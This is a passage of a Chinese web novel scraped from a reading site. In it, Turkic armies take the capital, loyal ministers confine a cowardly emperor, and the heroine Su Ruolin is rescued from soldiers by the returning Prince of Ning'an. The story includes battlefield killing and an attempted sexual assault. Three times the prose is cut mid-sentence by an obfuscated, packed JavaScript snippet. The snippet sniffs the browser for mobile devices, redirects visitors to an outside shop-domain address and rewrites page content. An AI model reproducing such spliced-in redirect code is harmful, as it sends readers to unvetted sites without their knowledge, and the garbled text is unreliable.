......当真是有君王风范的。 现如今四方势力集结,文官打掩护,武将私下备战,与此同时苏家的军需也送到了,再加上宁安王留在京城的军队,京城表面一片祥和,实则暗流汹涌。 就这样过了一个月,当突厥的军队濒临城下的消息传到皇宫时,新帝惊得差点从龙椅上跌坐下来。 而反观张辅之等人,因着早有对策,此时反倒镇定自若。 此时恰好正值早朝,满朝文武皆会于太和殿,张辅之直言:“如今生死攸关存亡之际,非北辰侯不可抵挡突厥,臣请陛下令北辰侯领兵抗敌!” 说罢张辅之径直跪下叩首,已然是行了最大的礼,随着他这么一跪,身后的朝臣“唰”地一声跪下来一片:“请陛下令北辰侯领兵抗敌!” 新帝脸都涨成了猪肝色:“不行!!!” 北辰侯手上还有一部分兵权呢,放他出去他造反了怎么办?现在不正是造反的好机会吗! 得到了预料之中的拒绝,北辰侯的心更冷了几分,现如今新帝这警惕胆小的模样,和宁安王将虎符送来的豪迈气魄可真是形成了鲜明对比。 “既如此。”张辅之的眼底充满冷意,“敌军来袭,还请陛下速速回宫避难,容我等以血肉之躯为陛下抵御外敌!” “都这个时候了还回皇宫有什么用!”新帝完全没听出张辅之话里有话,他匆忙点了几个亲信的名字,包括杨纨玦和杨纨枫在内,“你们速速收拾行李,随朕离开京城!” 离开京城? 新官们慌了,老臣们笑了。 怎么可能放你逃走?你跑了我们拿什么献给宁安王? 张辅之一声令下,忍耐了许久的群臣终于爆发了,纷纷奔向台阶之上的龙椅,将新帝禁锢了起来。 “你们,你们在干什么!”新帝吓坏了,“大胆!朕可是皇帝!” 张辅之冷声道:“送陛下到后宫,务必保全陛下和娘娘们!” “逆贼而敢!!!”新帝大吼,“朕是天子!无人能强迫朕!!!” 然而群臣已经红了眼,怎么会还愿意继续听他的无能狂怒,此时此刻,没有把新帝撕碎已经是他们最大的仁慈。 群臣押着新帝径直往后宫的方向离去,眼见着就要迈出太和殿的大门,新帝慌张地看向两兄弟:“杨爱卿!救朕啊!” 新官们早就被这场面吓坏了,等回过神来才明白老臣们这是要造反,连忙追过去想要救下新帝。 然后被两兄弟拦住了。 这一个月以来,两兄弟年纪虽小,却在新官之中隐约有了领袖的地位,此刻他俩一同坐阵,要新官们按兵不动。 有些新官可不干了,他们刚上任的时候就受到了那些老臣的针对,唯有依附着皇帝才能撑下来,如今皇帝都被软禁了,那他们离死还远吗? 杨纨枫瞥了他们一眼:“老实呆着不动,我保你们安然无恙;若是非要尽这个忠心,那你们就去,去了之后是生是死,你们自己负责。” 望着杨纨枫不容置疑的双眼,只是淡淡一瞥,却有着摄人心魄的气势,一众新官全身一颤,停住了脚步。 打心里说,比起看起来就很不靠谱的新帝,还是两兄弟的话更有力度。 新帝见此,心是彻底跌到了低谷,他怎么也没有想到,他最看好、最宠信的两个臣子居然带头倒戈! “杨纨玦和杨纨枫!你们两个背弃恩主,九族必诛!!!” 新帝破口大骂着,两兄弟充耳不闻,直到新帝的怒喊声越来越小,逐渐消失得无影无踪。 彼时老臣们早已经动了起来,北辰侯带领一众武将赶去了城门抗敌,一部分文官押着新帝去了后宫,其余人留在太和殿内待命。 人走了一大半,此时太和殿看着倒是宽阔了许多。 两兄弟看了眼那些顿在原处不知所措的新官们:“......” 这些人连自己的职务还没熟悉呢,留在这也只能充当根棍子。 杨纨枫道:“你们回家吧。” “啊?”新官们傻眼,“这是什么意思?就这么让我们回家了?” 杨纨玦解释了一下:“你们留在这也没用,早些回家陪家人更好,若有意外还能提前收拾行李逃走。” 这话说得实在是太明白了,连让他们收拾行李跑都说出来了,有些胆小的新官赞同地点头,转身就要离开。 可有些新官就不干了:“什么叫收拾行李逃走?我们是那些胆小鼠辈之徒吗?我们是大楚的官员,怎么就不能为大楚鞠躬尽瘁!” 可你们留在这确实没什么用啊! 杨纨枫冷冷地看向喊得最大声的那个人:“你是工部屯田司主事对吧?” 那人一愣,他殿试金榜列二甲第三,正巧是杨纨玦的前一名,授屯田司主事。 “是我,怎么?” “京城内的屯田、营田、职田、学田和官庄你都了解清楚了?这些田庄都在何处,归何人所有,你都能说得上来?”杨纨枫问道。 那人的额头冒出冷汗,这么多东西,他一个月内怎么可能都知道清楚! 杨纨枫知道他肯定答不上来,冷笑了一声,问道:“那你留在这有什么用?” “且不说打起仗来你负责的这些东西有什么用,就算你负责的东西有用,对这些东西根本不熟悉的你又有什么用?” “你们留在这里,除了添乱,别无用处。” “......”那人沉默了片刻,拱手作揖,“谢杨郎中教导,下官即刻离开皇宫,不会给诸位添乱。” 见此,两兄弟便不再多费口舌,来到张辅之面前:“曾伯祖,我们能干什么?” ......?曾伯祖? 曾曾曾伯祖??? 这一声“曾伯祖”成功给还在殿内的众人一个痛击。 合着这俩小子还是太师的亲戚?! 那怪不得太师一早就放下了话,不许针对这俩小子呢! 留在殿内的吏部尚书此刻非常庆幸他没有给杨纨枫穿小鞋。 兵部尚书一早就看出来这俩小子和太师关系匪浅,而且他自己也是太师的人,因此才会和侍郎郎中一起尽力带杨纨玦熟悉职务。 张辅之点了一拨人去外面安抚百姓,如今这个形势,大街上想必已经乱作一团,必须先维持好秩序,不能自乱阵脚。 随后他看向两兄弟:“你们两个随我去东郊。” 东郊是宁安王留在京城的那部分军队所在。 突厥的军队是从西边打过来的,虽然他们如今也开始对北门和南门发起攻势,然而大抵是欺软怕硬,东门这边竟然安然无恙、一派祥和。 驻扎在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340314|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东郊的将士们一见到虎符,二话不说开始集结军队,等候调遣。 这是萧怀琳最早降服的那部分兵力,被留在京城作为内应,于他们而言,王爷的命令胜过天,哪怕天真的塌下来了,王爷让他们用血肉之躯上去撑住,他们也不会有丝毫的犹豫。 张辅之希望萧军能够留出兵力守住东城门,再派遣剩余的军队去支援其他城门。 将士们欣然应允:“但是还有一个问题,我们不清楚城里的情况,需要一个人留下来接应。” 说罢,一众人高马大的将士看向张辅之身旁的两个半大小子。 毕竟太师是万万不可能留下来的,而这两个小伙子......大一点的还行,看样子和王爷差不多大,若是和王爷一样天资纵横,想必上场杀敌也是一把好手。 但是小一点的这个也太小了吧?这么小怎么都能身穿官服了? 杨纨玦主动请缨:“我留下来吧。” 杨纨枫扯了扯他的袖子:“会有危险的。” “无妨。”杨纨玦轻笑,“你忘了?我跟着北辰侯伯父也学过一些打仗要领,真到了前线也不至于太被动。” “哦?”萧军将领挑眉,“原来是师从北辰侯,那就没问题了,虎父无犬子,名师总出不了低徒吧!” 杨纨枫皱着眉头,显然还是放心,杨纨玦拍了拍他的肩膀:“我好歹是你哥,相信我。” 杨纨枫这才叹了口气:“那你完事多加小心。” 至此,杨纨玦便留在了萧军之中,而杨纨枫则跟随张辅之回了京城,现如今京城内部果然乱作了一团,听说东城门还没有被突厥包围,许多人家匆忙收拾行李,想要从东城门逃离出城。 不少朝臣在努力维持秩序:“诸位不要慌张!我们已经集结兵力抵抗外敌,圣上也留在宫内与我等共进退,定能将突厥驱逐出城!” 然而并没有什么用,有人心里腹诽,若是真能把突厥驱逐出去,怎么还可能让它打到京城来? 和喧嚣纷乱的京城比起来,此时的安定侯府内竟是宁静无比,得知突厥打过来的消息时,苏若琳第一时间就来到了祝贤盛的院子,见老爷子正坐在椅子上悠哉游哉地喝茶,她的这颗心才落了下来。 祝贤盛见到她来,冲她招了招手:“小妮子来了?坐。” 苏若琳来到祝贤盛对面坐了下来,笑道:“看到您一点不慌不忙,我就知道,京城肯定能安然无恙。” 祝贤盛抬起头看向她,也笑了:“对我这么有信心?” “那可不。”苏若琳撒娇道,“您呀,就是我的主心骨,只要您在这,甭管什么牛鬼蛇神我都不怕!” “小妮子嘴上抹了蜜了是吧!”祝贤盛大笑,只是笑完了之后,他认真地看着苏若琳,“但是这次我也不能保证京城真得安然无恙。” 苏若琳若有所思地低下头,问道:“这些日子,您和太师儒圣他们忙里忙外,想必已经做了最大的准备了吧?” “不错。”祝贤盛点头,随后又叹了口气,“该做的我们是都做了,剩下的就看造化了。” “那就看造化吧。”苏若琳颔首。 祝贤盛挑眉:“怎么,你不收拾东西去城外庄子里避难?” 苏若琳轻笑:“纨玦和纨枫还没回来呢。” “他俩可不会回来。”祝贤盛喝了口茶,“他俩如今是朝臣,定然是要和京城共进退的。” “他们不走,那我也不会走。”苏若琳道,“而且,就算我要走,祝爷爷您恐怕也不会走吧?” “我?”祝贤盛笑了,“我一个瘸了腿的老头子,走了有什么用,到时候还给你们添乱。” “您可不是瘸腿老头。”苏若琳认真地看着他,“您是我们这些晚辈的主心骨,只要您在,我们哪也不去。” “好好好。”若是往常,祝贤盛定然以强硬的态度让苏若琳赶紧走,保命要紧,可是如今,他自己都对自己的淡然感到诧异。 他说着望向窗外的北方;“就看小宁安王能不能回得来了。” 85. 京城沦陷 距离京城抗敌已有七日,突厥的军队源源不断地袭来,就连原本尚且安宁的东城门如今也围满了敌军。 东郊的萧军被迫回缩阵型,退回到京城内,至此,敌军已经彻底包围京城。 苏家的物资很快排上了用场,然而真打起仗来,这仅仅一个月筹集来的物资远远不够用——消耗得太快了。 本来因着京城是天子脚下,筹备军需远比运送往北疆时要束手束脚得多,只能一点一点地送进来,再加上京城百姓众多,守起城来物资消耗得远比宁安王北伐时要快得多。 这七日以来,物资最先出现紧缺的自然是粮食。 最初城内的小贩看准了机会,疯狂上涨粮价,仅仅半日就涨了三倍之高,后来还是张辅之和苏泓一起出手控制,这才把粮价降了下来。 好在安定侯府物资丰厚——倒不如说苏若琳自己的私库丰厚,看着如今大街上哀声载道,不少百姓沿街乞讨,她思索了许久,最终决定在安定侯府的大门外支起一个粥棚。 遥想上次支起粥棚时,正是去年这个时候,那时候国丧刚过,自己还以为熬过了这最艰难的三年,百姓生活会逐渐变好,兴许以后就用不着在城外施粥了。 却不成想,再次施粥竟从京城外变成了安定侯府的大门外。 杨纨枫每日天不亮便出门去,直到深夜才归来,有时候还会带着太师和儒圣一起,只是他们的脸色通常都不怎么样,进府之后直奔老爷子的院子。 而老爷子的眉头则皱得一日比一日深。 杨纨玦这几日甚至都没回来过,完全见不到人,只有每日派人送来的家书证明其安然无虞。 秋姨娘担心得整日整夜睡不着觉,苏若琳心里那股不祥的预感越来越严重。 终于七日后的傍晚时分,两兄弟竟不约而同地一起回了府,回府之后没有也先去祝贤盛的院子,而是来到了碧月轩。 苏若琳很是诧异,纨枫倒也算了,纨玦这都几日没回家了,如今突然回来,很有可能是出了很严重的事。 她的心突突直跳。 “怎么了这是,出什么大事了?” 两兄弟脸色苍白,双眼布满血丝,显然许久没有休息过了,纨玦的脸上已经隐约有了胡茬,看着竟然比前些日子强壮了不少。 “等等。”苏若琳上前抬起杨纨玦的手臂,那被白麻遮盖的伤口依稀渗着血迹,“你上战场了?!” “守城将士那么多,你上去做什么!”苏若琳既生气又心疼,“战场上刀枪无眼,你若是有个什么意外,是想让你娘心疼死吗!” 杨纨玦低下头:“药品消耗得太快了,伤员得不到救治没法上战场。” “所以你就顶了上去?!”苏若琳气得心梗。 “现在不是说这个的时候。”杨纨玦连忙说正事,“母亲您快带着我娘他们收拾行李,明日一早我们会在东城门杀出一个口子,你们到时候趁机逃出城!” 此言一出,苏若琳登时心一沉:“怎么......京城守不住了?” 杨纨枫叹了口气:“我回来也是来说这件事的,京城守不住了,母亲你们快走吧!” 苏若琳跌坐回了椅子上。 “守不住了么......” 大家拼了命坚持了一个月,最后也只撑了七日吗...... “红烛绿俏!”苏若琳猛地抬起头,“现在去通知全府上下,速速收拾行李,然后去找钱志远母子,明日一早让他们母子带你们逃出城。” 秋姨娘的性子实在是没办法领导众人,想来想去,整个府里目前能用的也唯有钱氏母子了。 “那夫人您呢!”红烛和绿俏不禁问道,“您不跟我们一起走吗!” 苏若琳轻轻摇头:“我不走。” “不行,您得走!”杨纨枫第一次露出如此慌乱的神情,“突厥的军队烧杀抢掠、无恶不作,等他们打进来,京城必定横尸遍野!” “那我问你。”苏若琳看着杨纨枫,“若是突厥打进来了,你们会怎么样?” 两兄弟沉默了。 突厥定然会对他们用尽各种刑罚,从他们嘴里撬出有用的一切,最后杀了他们。 “而且......”苏若琳看着杨纨枫俊俏的脸颊,双眼微红,“我听说,突厥那帮禽兽,他们......他们男女不忌的。” 苏若琳至今都忘不了,如果她没有来到这个世界,那么杨纨枫和杨纨岚将要面对的是怎样的结局。 原本以为如今有她改变了两兄弟的命运,两个孩子一个行商、一个做官,定然不会再经历这一遭苦难,却没想到,两兄弟竟还有可能重蹈覆辙。 她不允许! 她知道自己做不了什么,但是她也决不能眼睁睁看着这孩子受难自己逃走! 听此,杨纨枫愣了愣,待他明白苏若琳此言何意时,那张苍白的小脸白了又红,红了又青。 末了,他握紧拳头,坚定道:“那您就更不能留下来了!” 他决不允许母亲受到侮辱! 母子互相看着对方,谁也不肯让步,场面就这般僵持着。 良久,杨纨玦上前打圆场:“母亲您放心,我会保护好纨枫的,但是如果您有个三长两短的话,那是我们万万不想看到的,只要有您在,侯府就还有主心骨,所以您一定要安然无恙!” “你先把自己的伤遮好了再跟我说这话!”苏若琳是真的生气了,说着说着竟然落下了眼泪,“你们一个两个的都长大了,翅膀硬了,连死都不怕了,我是侯府的主心骨,难道你就不是吗?” “我统共就四个儿子,现在纨岚在外边我没法管,你们两个要是有什么意外,是想让我难受一辈子吗!” 两兄弟看到母亲竟然哭了,登时就慌了神,这些年来,母亲在他们心中的形象一向是平和镇定的,仿佛只要有母亲在,任何困难都不用怕,母亲自会打点好一切。 他们本以为若是做了官,就能替母亲扛起肩上的担子,却不成想这偏偏成了母亲的累赘。 若是没有他们两个,母亲肯定早就带着全府收拾行李出城避难了。 看着母亲坐在椅子上落泪,两兄弟张口也不知道该说些什么,想上前安慰母亲,却又担心这令母亲更加伤心。 过了许久,苏若琳略微缓了缓,郑重地看着两兄弟:“我是不会走的,你们两个但凡有一个不走,我都不会走。” 末了,她又道:“你们曾祖不是也不走么?他老人家腿脚不好,你们整天忙来忙去的也没时间照顾他,正好我留下来,和老爷子做个伴。” 两兄弟互相看了对方一眼,和曾祖在一起么...... 他们知道,老爷子肯定是不会走的,老爷子还要在幕后运筹帷幄,现如今看来,母亲定然是也劝不动的。 杨纨枫叹了口气:“那您一定要和曾祖待在一块,千万别自己出府。” 苏若琳这才笑了一下,也算是安慰两个孩子:“你们放心,我若是不惜命,也不会走到现在。” 两兄弟这才点了点头。 杨纨玦沉默了片刻,递给了苏若琳一封信:“这封信,劳烦母亲转交给我娘。” 苏若琳警觉:“有什么话不能当年和你娘说,如今这个点你娘还没睡呢。” 杨纨玦轻轻摇头,无奈地笑了:“我若是告诉我娘我要留在京城奋战,我娘定然会抱着我不让我离开。” 苏若琳难过地看着他:“你就一定要上前线?” 杨纨玦点头:“家国有难,好男儿当挺身而出,纨枫的作用是在幕后出谋划策,我的贡献在战场。” “......”苏若琳颤抖地伸出手,接过那封信,“答应我,一定要回来,我和你娘等着你尽孝呢。” 杨纨玦听此,当即跪了下来,杨纨枫看了他一眼,也跟着跪了下来。 两兄弟不约而同地向苏若琳磕了一个头,异口同声道:“孩儿不孝,令母亲担忧,然现如今山河破碎,大敌当前,孩子当尽赤子之力,捍卫家国,望母亲宽恕。” “身体发肤受之父母,孩儿必当竭力保护自己,待危难后江河平安,再回母亲膝下尽孝。” 苏若琳好不容易止住的眼泪又流了下来。 她再也说不出其他的话,只好捂住眼睛,冲两兄弟摆了摆手:“走吧,都走吧,去做你们该做的去吧。” 待两兄弟走后,她平复了良久,才带着信去了秋姨娘的院子。 秋姨娘看完信后,大哭了一场,又紧紧握着苏若琳的手:“我都听绿俏说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362491|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您不打算跟我们一起走,可是纨玦纨枫都已经要留下来了,您再不走,妾身真的不知道该怎么办了呀!” 说罢,秋姨娘竟跪了下来,泪眼朦胧道:“妾身求求夫人,跟我们一起走吧,这侯府不能没有您呀!” 苏若琳轻轻摇头:“我留在这里,纨玦和纨枫也算有个照应。” “你别担心了,明日清早苏家会派人来接应你们,有钱氏母子带着,一切都能照应妥当,你只需要带着纨菱跟大家走就够了。” 苏若琳犹豫了一下,最终道:“若是我们有了什么意外,你就带着纨菱去找纨岚,纨岚那孩子长大了,做事自有分寸,以后侯府就交给你们了。” 听到这话,秋姨娘又是崩溃地大哭了起来,险些哭晕过去。 到了翌日清晨,所有的东西都收拾妥当,苏若琳目送着侯府众人上了马车,纨菱红着眼睛抱住苏若琳的腿:“母亲不和我们一起走吗?” 苏若琳温柔地抚摸着纨菱的头:“母亲留在侯府还有事情要做,纨菱先走,等回头母亲再来找你好不好?” “母亲骗人!”纨菱“哇”地一声大哭了起来,“城里有危险,母亲呆在这里会死的!我不要母亲死!” 苏若琳微微一颤,这孩子才四岁啊,怎么就知道...... 末了她叹了口气,他的三个兄长都是天纵之资,这孩子如此聪明也是很正常的。 待这孩子长大以后,定然也能撑起这个家。 秋姨娘见状也来恳求苏若琳:“夫人,您和我们一起走吧!” 苏若琳摇了摇头,想要将纨菱的小胳膊小手掰开,可是纨菱用了吃奶的劲,小脸憋得通红也不松手,她一时间竟然掰不开。 钱氏一咬牙,上前拉开纨菱,把他交给红烛绿俏,然后朝苏若琳跪了下来。 钱志远连忙也跟着跪了下来。 苏若琳大惊:“钱夫人,你这是做什么!” 钱夫人磕头道:“夫人您的大恩我们母子尚未还完,若有机会,来日再报!” 钱志远也连忙跟着磕头。 “好,好。”苏若琳应了下来,然后缓缓看着众人。 秋姨娘哭得泣不成声,纨菱在红烛怀里一边挣扎一边哭,众人皆是泪流满面。 最后苏若琳勉强扯出了一个笑容:“走吧,再不走就来不及了。” 众人上了马车,她目送着马车越来越远,直到消失在视线里再也看不见,才依依不舍地转身。 一转身,祝贤盛已然站在了身后,望着马车离开的方向:“你怎么不走?” 苏若琳笑道:“我和您一起留下来看家。” 祝贤盛叹了口气:“你这妮子,打小我就知道,认定的事九头牛都拉不走。” 苏若琳走上前搀扶他:“孙女小时候可是在您膝下长大的,依孙女看啊,这就是随了您!” “哟!”祝贤盛略带诧异地看着她,眼中带着几分笑意,“胆子肥了啊,你可知道,这话就算你爹站在这都不敢说。” “您疼我可比疼我爹多多了!” 爷孙俩说笑着进了府,而在大街远处的一个角落里,两兄弟眼看着安定侯府的大门关上,泪水刹那间湿润了布满血丝的两双眼眸。 兄弟两人沉默良久,最后一同转身往东去了。 他们还要去东城门,去给大家撕出一道血口。 而此时,在京城的百里之外,萧怀琳遥远地终于见到了京城的影子。 韩龙激动道:“到了,咱们快到了!” 这一路上他们算是昼夜不停啊,西边的战况像是一张催命符,逼得他们丝毫不敢减速,如今终于赶回来了! 这时,忽得有将军眯起眼睛,指着京城的上空:“那是......” “是烽烟!!!”另一个将军一拍大腿,“卧槽,京城快守不住了!” 萧怀琳的心跳骤然加快,一股不祥的预感席卷着他全身的每一个角落。 “全军听令,给我冲!” 得到命令,本来已经疲惫不堪的萧军像打了鸡血一般,拼了命地往京城的方向奔去:“杀突厥!!!” “护我大楚!!!” “将士们,家人和敌人都在前方!!!” “杀!!!” 86. 男女主见面了 随着将士们集合全力在东城门扯开了一道口子,突厥看准时机攻入其他三道城门,京城成功被攻陷了。 突厥的士兵们欢呼着叫喊着,大街上还没来得及逃走的百姓惊骇地四处奔逃,却被突厥士兵抓住,随后手起刀落,就地斩杀。 京城果真成了人间炼狱。 大街上的惨叫声传到院子里的时候,苏若琳正在给老爷子泡茶——他们特意挑了一个靠近大街的院子,为得就是方便听到大街上的动静。 听到声音,苏若琳连忙搀扶着祝贤盛往地窖赶去。 很快,突厥士兵踹门的声音便从外边响起,所幸的是安定侯府的大门还算结实,能给爷孙俩争取一点时间。 可是也没能争取多久。 祝贤盛瘸着腿没法走快,此刻苏若琳只恨自己平日里只知道睡和吃,也不怎么锻炼,不然此刻直接把老爷子背起来跑该有多好! 听到大门被破的声音时,爷孙俩离地窖还差着一个院子,祝贤盛推了推她:“你先走!” “不行!”苏若琳摇头,“咱们一起走!” “我走不了了!”祝贤盛直接扯开她的手,就要往突厥士兵的方向去。 “祝爷爷!”苏若琳连忙拉住祝贤盛,从袖子里掏出了一把短剑,“您不走,我是不会走的!” “你这小妮子!”祝贤盛急了,“你拿着把短剑能和他们拼什么!” “至少能给您争取点时间!”苏若琳拦在他身前,“您活下来还能指挥军队,我才是没什么用的那个,让我来掩护您!” “你!”祝贤盛气得说不出话,只好跟着她继续往地窖的方向赶去。 所幸安定侯府的院子够大,突厥的士兵在院子里绕了半天,各种值钱的玉器首饰也搜刮得盆满钵满,乐得他们嘴角咧开了花。 因此当他们慢悠悠地把院子逛完一遍,才发现苏若琳的时候,她刚巧把祝贤盛送下地窖。 见到突厥士兵,苏若琳当机立断关上了地窖门,然后将草垛放倒,掩盖住地窖的存在。 “小妮子?!”祝贤盛惊叫着想要推开地窖的门,然而那铁门被厚重的草垛掩盖,使再大的力气也无济于事。 突厥士兵好奇地来到库房,便见到一个艳压群芳的绝色美女正站在那,警惕地看着他们。 “你在这做什么呢,美人?”一个突厥士兵色眯眯地瞧着苏若琳,吹起了一阵口哨,其他士兵哈哈大笑。 苏若琳握紧藏在袖子里的短剑,死死地盯着突厥士兵们,沉默不语。 那些突厥士兵见苏若琳的眼中毫无惧意,不由得暗暗称奇。 从西边这一路打过来,多少大楚的女人见到他们都吓破了胆,不是哭天喊地就跪下磕头求饶,这么直钩钩地瞪着他们的着实第一次见。 不过这也更激发了他们的兽|欲。 一个突厥士兵已然按耐不住,抓住苏若琳的胳膊就往外拽:“过来吧你!” “你想干什么!”苏若琳惊叫。 而地窖里的祝贤盛听到尖叫俨然急坏了,可是他一个瘸子,连维持站着都得费一只手,更别说想要推开地窖的铁门! 他愤恨地捶着自己的腿,那双历经沧桑的锐眼流下了两行浊泪。 他一个瘸子,考不了科举做不了官,现在还要眼睁睁地看着自己孙女受辱什么都做不了! 他活在这世上到底还有什么用! 而在地窖外,抓住苏若琳胳膊的突厥士兵露出了一个淫|荡的笑容:“你说我想干什么?” 说时迟,那时快,那突厥士兵话音未落,苏若琳的眼神骤然变冷,已然举起手里的短剑,以迅雷不及掩耳之势抹了突厥士兵的脖子。 !!! 突厥士兵都呆住了,而苏若琳趁着他们呆住的空挡,拼了命地往院子外边跑去。 “娘的,抓住那娘们!”突厥士兵气急败坏,叫嚷着追了出去。 苏若琳发誓,这真的是她这辈子跑得最快的一次了,如果这次能活下来,她一定好好锻炼! 可是显然没有如果了,她就算是跑得再快,哪里比得上经年训练的士兵? 她甚至还没跑出院子,便被突厥士兵拉了回来,跌倒在了地上。 突厥士兵们露出得意的笑容:“你这娘们,倒是跑啊,你不是很能耐吗!” “让爷爷们好好宠爱宠爱你,让你爽一把!” “爽完了再送你上西天!” 突厥士兵们如饿狼一般朝苏若琳扑了上去,她握紧手里的短剑,眼睛一闭,将短剑抵上了自己的脖颈。 好歹刚才已经杀了一个,死了也回本了。 不知道纨玦和纨枫现在如何了,若是他们活了下来,那他们可有得哭咯。 短剑擦过苏若琳细嫩的肌肤,有着些许的刺痛,忽地,她听到不远处传来了一声撕心裂肺的呐喊:“不要!!!” 苏若琳猛地睁开眼,只见眼前鲜血迸溅,她面前的两个突厥士兵惨叫着倒下,一个身着戎装、戴着银色面具的男子赫然浮现在眼前。 其他的突厥士兵一见此人是个能打的,骂了一声:“娘的,一起上!” 一众突厥士兵一齐冲了上去,而那戎装男子就站在那里巍然不动,待突厥士兵靠近后眼神骤然一寒,甚至于苏若琳都没有看清他是怎么出招的,那些杂碎已然应声倒下。 苏若琳看着眼前的救星,眼中有片刻的失神:“你......” 下一刻,那戎装男子紧紧地将她拥入怀里,仿佛用尽了此生全部的力气。 苏若琳的第一反应是:卧槽刚死了一帮杂碎,这怎么又来了一个流氓? 然而面前的男子将她抱得太紧了,紧到她都有些喘不过气,紧到她甚至能清晰地感受到男子全身都在微微颤抖。 与此同时,她的耳边传来男子哽咽的声音,还有那若有若无、似乎是被强行压下的呢喃。 对不起,母亲,对不起,是我来迟了,对不起...... 苏若琳不禁伸出手也环抱住他,关心道:“你......你还好么?” 话音未落,忽得院外传来呼喊:“王爷!” “王爷,您在哪?” 紧接着一队将士便走进了院子,赫然见到他们的王爷正和一个貌美的女子相拥。 嘶...... 那要不他们走? 见到来者,萧怀琳这才依依不舍地松开苏若琳,看向领队的韩龙:“都清理干净了?” “呃......还没。”望着王爷杀人的目光,韩龙只感觉周身的气温都低了几分,他全身冒着冷汗,硬着头皮道,“突厥后面还有大部队,要把所有敌军赶出去还能还要费些时辰。” 萧怀琳冷着脸道:“那就赶紧去。” 他话音刚落,苏若琳便紧紧地抓住他的手臂:“王爷?你是宁安王?” 萧怀琳低下头看着面前那阔别已久的面容,他日思夜想了整整四年的那个人,如今正激动地看着他,希冀中竟还带着几分哀求。 那双眼中的哀求久久回荡在萧怀琳的心间,他浑身不是滋味:“嗯。” 不该是这样的,那双好看的眉眼向来平和恬静,任风雨来依然镇定自若,这双眼睛怎么可以被泪水覆盖,怎么可以被伤心填满? 再开口时,萧怀琳的声音已然有了几分喑哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369569|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你不要怕,我带兵回来了。” 苏若琳的泪水如决堤一般奔涌而出:“你们终于回来了啊!!!” 整整七日了,这七日里百姓少粮,沿街乞讨者数不胜数;将士缺药,以伤残之躯填补城墙,昔日里最为繁华的京城如今却民不聊生、一片狼藉,他们苦苦支撑了整整七日啊! 看着面前人那双楚楚动人的泪眼,萧怀琳的内心止不住地颤抖,他强忍着将面前人拥入怀里安抚的冲动,伸出满是薄茧的另一只手掌,覆上那双紧紧抓着他胳膊的玉手:“这里如今还不安全,我们快些离开这里吧。” 苏若琳使劲点头,末了又使劲摇头,她猛地转身,往屋里狂奔而去。 萧怀琳见状也连忙跟了上去。 等回到那间放满草垛的屋子里,苏若琳连忙去搬那些盖在地窖上面的草垛,可那些草垛厚得比她腰还高,她根本想不到方才她到底是怎么把这么堆东西放倒的。 她用了吃奶的力气,也只是掰断了几个草稞子,弄得草屑飞扬。 “咳咳咳......”苏若琳不死心地还要继续去搬,萧怀琳连忙拦住她,“我来吧。” 恰巧这时韩龙等将士也跟了进来,萧怀琳一个眼神过去,韩龙就知道他“戴罪立功”的机会来了。 “这底下有什么啊?”将士们合力把草垛清走,韩龙一边搬一边问,“什么家传至宝?” “我祖父在里面!”苏若琳语气急迫,还带着几分鼻音。 “啊?”众人一愣,连忙加快速度。 闻言,萧怀琳也加入了清理草垛的队伍,母亲的祖父,那不就是...... 过了许久,四周的草垛终于被清理干净,地窖的铁门显露了出来,韩龙把地窖们打开,果真见到一个白发苍苍的老头正跪在下面。 彼时祝贤盛还不知晓苏若琳已经被救了,从方才听到孙女的惊叫之后,他想死的心都有了,可是他偏偏还不能死,他不知道京城还待如何,大楚还待如何。 他连自杀都不能,他还要等着可能残存下来的将士们来救他,继续在军队后方运筹帷幄,他第一次这么痛恨自己肩上的担子和责任。 他的人是活下来了,可是他的心已经死了。 正待绝望之时,忽得原本漆黑一片的四周亮了起来,祝贤盛抬起头,就见到他的孙女安然无恙地望着自己,那张熟悉的俏脸满是惊喜:“祝爷爷!” “小妮子!”祝贤盛瞪大双眼。 很快有将士下去把祝贤盛背了出来,祝贤盛瘸着条腿跌坐到了地上,苏若琳过去想把他搀扶起来,却被祝贤盛一把抱在了怀里。 那是苏若琳这辈子第一次见到老爷子露出害怕的神情,也是她此生第一次见到老爷子流泪。 “你要是有个什么三长两短,让我怎么面对你爹啊!”祝贤盛把自己的心肝孙女搂在怀里,老泪纵横。 苏若琳的心里淌过阵阵暖流,柔软得一塌糊涂。 “已经没事了,祝爷爷。”苏若琳拍着老爷子的后背,安抚道,“多亏宁安王殿下救了我。” 祝贤盛又把苏若琳从头到脚细细看了一遍,发现脖子上有道划痕:“你这是自己弄的?” “你刚才是打算自刎?!”祝贤盛捏着苏若琳肩膀,瞪大眼睛质问她。 “我......”苏若琳支支吾吾,心虚地笑了,“这不是活下来了嘛,以后不会了。” 